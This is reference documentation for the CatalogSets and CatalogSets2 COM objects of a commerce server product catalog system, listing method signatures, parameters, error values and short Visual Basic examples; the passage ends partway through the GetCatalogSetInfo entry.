[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogSets Method [C++]

CatalogSets.GetCatalogSets Method [Visual Basic]

Use this method to return a list of all catalog sets.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogSets(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSets() As Recordset

Parameters

retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalog sets.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogSets = myCatalogSets.GetCatalogSets()

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogsForUser Method [C++]

CatalogSets.GetCatalogsForUser Method [Visual Basic]

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogsForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Recordset

Parameters

objProfileService [C++]
[in] A pointer to the IDispatch interface to the profile service.
objProfileService [Visual Basic]
A profile service object.
user_id [C++]
[in] A BSTR that contains the user ID.
user_id [Visual Basic]
A String that contains the user ID.
defaultCatalogSetID [C++]
[in] A BSTR that contains the default catalog set ID.
defaultCatalogSetID [Visual Basic]
A String that contains the default catalog set ID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set objProfileService = Server.CreateObject("Commerce.ProfileService")
Call objProfileService.Initialize(sProfileServiceConnectionString, _
   "Profile Definitions")
set rsCatalogSet = myCatalogSets.GetCatalogsForUser(objProfileService, _
   user_id, defaultCatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogsInCatalogSet Method [C++]

CatalogSets.GetCatalogsInCatalogSet Method [Visual Basic]

Use this method to return the catalogs that are included in a particular catalog set.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogsInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID.
CatalogSetID [Visual Basic]
A String that contains the catalog set ID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsCatalogNames = myCatalogSets.GetCatalogsInCatalogSet(CatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogsNotInCatalogSet Method [C++]

CatalogSets.GetCatalogsNotInCatalogSet Method [Visual Basic]

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogsNotInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID.
CatalogSetID [Visual Basic]
A String that contains the catalog set ID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID of a catalog set
set rsCatalogs = myCatalogSets.GetCatalogsNotInCatalogSet(strCatalogSetID)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::Initialize Method [C++]

CatalogSets.Initialize [Visual Basic]

Use this method to initialize a new CatalogSet object.

Definition

[C++]
HRESULT _CatalogSets::Initialize(
  BSTR CatalogConnectionString,
  BSTR TransactionConfigConnectionString
);
[Visual Basic]
Sub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)

Parameters

CatalogConnectionString [C++]
[in] A BSTR that contains the catalog connection string.
CatalogConnectionString [Visual Basic]
A String that contains the catalog connection string.
TransactionConfigConnectionString [C++]
[in] A BSTR that contains the transaction configuration connection string. Not used
TransactionConfigConnectionString [Visual Basic]
A String that contains the transaction configuration connection string. Not used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Note

  • The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.
[Visual Basic]

Example

myCatalogSets.Initialize strCatalogConnection, ""

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::RemoveCatalogFromCatalogSets [C++]

CatalogSets.RemoveCatalogFromCatalogSets [Visual Basic]

Use this method to remove a catalog from all catalog sets.

Definition

[C++]
HRESULT _CatalogSets::RemoveCatalogFromCatalogSets(
  BSTR CatalogName
);
[Visual Basic]
Sub RemoveCatalogFromCatalogSets(
  CatalogName As String
)

Parameters

CatalogName [C++]
[in] A BSTR that contains the catalog name to be removed.
CatalogName [Visual Basic]
A String that contains the catalog name to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog or ProductCatalog.DeleteCustomCatalog methods.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

MyCatalogManager.DeleteCatalog "Shoes"
myCatalogSets.RemoveCatalogFromCatalogSets "Shoes"

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::UpdateCatalogSet [C++]

CatalogSets.UpdateCatalogSet [Visual Basic]

Use this method to update an existing catalog set and its basic properties.

Definition

[C++]
HRESULT _CatalogSets::UpdateCatalogSet(
  BSTR CatalogSetID,
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS
);
[Visual Basic]
Sub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As Recordset
)

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID (GUID).
CatalogSetID [Visual Basic]
A String that contains the catalog set ID (GUID).
CatalogSetName [C++]
[in] A BSTR that contains the catalog set name. The maximum length is 128 characters.
CatalogSetName [Visual Basic]
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription [C++]
[in] A BSTR that contains the catalog set description.
CatalogSetDescription [Visual Basic]
A String that contains the catalog set description.
bWildCard [C++]
[in] A VARIANT_BOOL that indicates which catalogs to use. A value of TRUE indicates use all catalogs. A value of FALSE indicates use the catalogs contained in the CatalogNameRS parameter.
bWildCard [Visual Basic]
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNameRS parameter.
CatalogNamesRS [C++]
[in, optional] A reference to a _Recordset object that contains the catalog names.
CatalogNamesRS [Visual Basic]
A Recordset object that contains the catalog names.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID for the CatalogSet.
'rsCatalogNames is a Recordset as described in the parameter description.

myCatalogSets.UpdateCatalogSet strCatalogSetID, "Clothing", _
   "All soft goods", FALSE, rsCatalogNames

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


CatalogSets2 Object [C++]

CatalogSets2 Object [Visual Basic]

Use this object to work with catalog sets in the Product Catalog System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

[C++]
ProgID: | Commerce.Catalogsets2 (Externally creatable)
COM Class Name: | Catalogsets2
COM Interface Name: | _Catalogsets2
Interface ID Constant: | None
Header File: | None
Type Library Name: | Microsoft Commerce 2002 Catalog Sets Type Library
DLL Name: | CatalogSets.dll
Threading Model: | Apartment
[Visual Basic]
ProgID: | Commerce.CatalogSets2 (Externally creatable)
COM Class Name: | CatalogSets2
Type Library Name: | Microsoft Commerce 2002 Catalog Sets Type Library
DLL Name: | CatalogSets.dll
Threading Model: | Apartment
[C++]

In C++, use the _CatalogSets2 interface to access the properties and methods of the CatalogSets2 object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

The CatalogSets2 object properties are useful if you have changed the ProfileSchema (from the default shipped version) or if you use Active Directory. In these cases, the UserObject-OrganizationObject table join-key is different than the default one.

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Properties

[C++]
Property | Type | Description
OrganizationObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | BSTR | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | BSTR | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | BSTR | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | BSTR | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | BSTR | Stores the join key for the user object. This property is read/write.
UserObjectName | BSTR | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | BSTR | Stores the organization key for the user object. This property is read/write.
[Visual Basic]
Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | String | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the User object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.

Remarks

This object is similar to the CatalogSets object. It has the same methods, but adds new properties for the profile schema keys. The default values of the properties are the same as the fixed values used by the CatalogSets object.


_Catalogsets2 Methods [C++]

Catalogsets2 Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


_Catalogsets2::CreateCatalogSet Method [C++]

Catalogsets2.CreateCatalogSet Method [Visual Basic]

Use this method to create a new catalog set in the catalog database.

Definition

[C++]
HRESULT _Catalogsets2::CreateCatalogSet(
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS,
  BSTR* CatalogSetID
);
[Visual Basic]
Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String

Parameters

[C++]
CatalogSetName
[in] A BSTR that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
[in] A BSTR that contains a description of the new catalog set.
bWildCard
[in] A VARIANT_BOOL that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
[in, optional] A pointer to an ADO _Recordset object that specifies the catalogs to be included in the new catalog set. The _Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
CatalogSetID
[out, retval] A pointer to a BSTR used to return the automatically generated ID (GUID) of the new catalog set.
[Visual Basic]
CatalogSetName
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A String that contains a description of the new catalog set.
bWildCard
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
A reference to an ADO Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The CatalogSetID parameter contains valid data only if the new catalog set was created successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The returned String contains a valid ID only if the new catalog set was created successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example shows the creation of a catalog set
'associated with all the catalogs in the Product Catalog System.
strCatalogSetID = myCatalogsets2.CreateCatalogSet("PremiumCatalogs", "Premium catalog set", TRUE)

'The following example shows the creation of a catalog set
'associated with two specific catalogs.
set rsCatalogNames = CreateObject("ADODB Recordset")
call rsCatalogNames.Fields.Append("CatalogName", adBSTR)
rsCatalogNames.Open
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog1"
rsCatalogNames.Update
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog2"
rsCatalogNames.Update

strCatalogSetID = myCatalogsets2.CreateCatalogSet("CombinedCatalog", "A one and a two", FALSE, rsCatalogNames)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::DeleteCatalogSet Method [C++]

Catalogsets2.DeleteCatalogSet Method [Visual Basic]

Use this method to delete an existing catalog set from the Catalog database.

Definition

[C++]
HRESULT _Catalogsets2::DeleteCatalogSet(
  BSTR CatalogSetID
);
[Visual Basic]
Sub DeleteCatalogSet(
  CatalogSetID As String
)

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the GUID of the catalog set to be deleted.
[Visual Basic]
CatalogSetID
A String that contains the ID of the catalog set to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID prevents access to the Solution Sites.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID prevents access to the Solution Sites.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID1 is a GUID
myCatalogsets2.DeleteCatalogSet strCatalogSetID1

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogs Method [C++]

Catalogsets2.GetCatalogs Method [Visual Basic]

Use this method to return a list of all catalogs.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogs(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogs() As Recordset

Parameters

[C++]
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalogs

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogs = myCatalogsets2.GetCatalogs()

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogSetIDForUser Method [C++]

Catalogsets2.GetCatalogSetIDForUser Method [Visual Basic]

Use this method to return the catalog set ID for a specific user.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogSetIDForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  VARIANT* retVal
);
[Visual Basic]
Function GetCatalogSetIDForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Variant

Parameters

[C++]
objProfileService
[in] A pointer to the IDispatch interface to the ProfileService object.
user_id
[in] A BSTR that contains the user ID.
defaultCatalogSetID
[in] A BSTR that contains the default catalog set ID.
retVal
[out, retval] A pointer to a VARIANT used to return the catalog set ID.
[Visual Basic]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the catalog set ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Variant returned by this method contains valid data only if the method completes successfully.

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

strCatalogSetID = myCatalogsets2.GetCatalogSetIDForUser(oProfileService, user_id, defaultCatalogSetID)

See Also

[C++] Catalogsets2 Object

[C++] ProfileService Object

[Visual Basic] Catalogsets2 Object

[Visual Basic] ProfileService Object


_Catalogsets2::GetCatalogSetInfo Method [C++]

Catalogsets2.GetCatalogSetInfo Method [Visual Basic]

Use this method to return the basic properties for a catalog set.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogSetInfo(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSetInfo(
  CatalogSetID As String
) As Recordset

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID, a GUID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID, a GUID.

Return Values

